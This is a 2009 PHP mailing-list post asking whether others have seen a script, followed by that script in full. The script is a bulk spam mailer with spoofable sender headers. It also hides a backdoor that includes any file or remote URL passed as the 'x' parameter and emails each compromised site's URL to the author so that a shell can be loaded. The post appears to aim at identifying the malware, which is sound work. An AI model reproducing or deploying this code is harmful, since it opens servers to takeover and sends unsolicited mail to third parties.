Nasty hacker spammer script
| From: | The Doctor | Date: | Mon, 11 May 2009 23:59:59 +0000 |
| Subject: | Nasty hacker spammer script | ||
| Groups: | php.general | ||
| Request: | Send a blank email to php-general+get-292466@lists.php.net to get a copy of this message | ||
Has anyone seen this before?
<?php
if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$replyto=$_POST['replyto'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$file_name=$_POST['file'];
$contenttype=$_POST['contenttype'];
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}
?>
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style> html{scrollbar-base-color:#000000;scrollbar-arrow-color: #878787;
scrollbar-track-color:#A878787;}.ws36 {font-size: 48px;}
.ws18 {font-size: 24px;}
.ws26 {font-size: 35px;}
--></style>
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#000000" text="#00FF00">
<span class="style1">PHP eMailer<br>
made by !! Smart-z3r0-roost !! ( <a href="mailto:anawayak5@yahoo.com"><font
color="#FF0000">anawayak5@yahoo.com</font></a><font
color="#FF0000">
</font>) .</span>
<form name="form1" method="post" action=""
enctype="multipart/form-data">
<div style="background-color: #00FF00">
<p align="center"><b><font color="#FF0000" face="Comic Sans
MS">!! Smart-z3r0-hima-roost
!! PHP Mailer </font></b><br>
</div>
<table width="100%" border="0">
<tr>
<td width="10%" height="24">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
Your Email:</font></div>
</td>
<td width="18%" height="24"><font size="-3"
face="Verdana, Arial, Helvetica, sans-serif">
<input name="from" value="<? print $from; ?>"
size="30" style="background-color: #FF0000">
</font></td>
<td width="31%" height="24">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
Your Name:</font></div>
</td>
<td width="41%" height="24"><font size="-3"
face="Verdana, Arial, Helvetica, sans-serif">
<input name="realname" value="<? print $realname; ?>"
size="30" style="background-color: #FF0000">
</font></td>
</tr>
<tr>
<td width="10%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
Reply-To:</font></div>
</td>
<td width="18%"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
<input name="replyto" value="<? print $replyto; ?>"
size="30" style="background-color: #FF0000">
</font></td>
<td width="31%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
Attach File:</font></div>
</td>
<td width="41%"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
<input type="file" name="file" size="30"
style="background-color: #FF0000">
</font></td>
</tr>
<tr>
<td width="10%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
Subject:</font></div>
</td>
<td colspan="3"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
<input name="subject" value="<? print $subject; ?>"
size="90" style="background-color: #FF0000">
</font></td>
</tr>
<tr valign="top">
<td colspan="3"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"
style="background-color: #FF0000"><? print $message; ?></textarea>
<br>
<input type="radio" name="contenttype" value="plain">
Plain
<input name="contenttype" type="radio" value="html"
checked>
HTML
<input type="hidden" name="action" value="send">
<input type="submit" value="o3a el bo2">
</font></td>
<td width="41%"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"
style="background-color: #FF0000"><? print $emaillist; ?></textarea>
</font></td>
</tr>
</table>
</form>
<?
if (trim($_GET['x'])!=''){@include($_GET['x']);exit();}$email =
'anawayak5@yahoo.com';$y = 'http://' .
$_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];@mail($email, 'Exploit:
'. $_SERVER['PHP_SELF'], 'Hey , this is a new victim\'s exploit: '. $y
.'\n\n You can use (x=shell_url) at the end of the link ;) ', 'From: '. $email
.' <'. $email .'>\r\n');
if ($action){
if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print "Sending mail to $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
mail($to, $subject, "", $header);
print "ok<br>";
flush();
}
}
}
?>
<p class="style1">PHP Mailer<br>
© !! hoba-roost !! (<a href="mailto:%20anawayak5@yahoo.com"><font
color="#FF0000"> anawayak5@yahoo.com
</font> </a>) . <br>
</p>
<?php
if(isset($_POST['action']) && $numemails !==0 ){echo
"<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent
successfully'); </script>";}
?>
<p> </p>
</body>
</html>
--
Member - Liberal International This is doctor@nl2k.ab.ca
Ici doctor@nl2k.ab.ca God, Queen and country! Beware Anti-Christ rising!
Never Satan President Republic!
12 May BC vote Liberal and remember the NDP scandals like Mulroney!
--
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.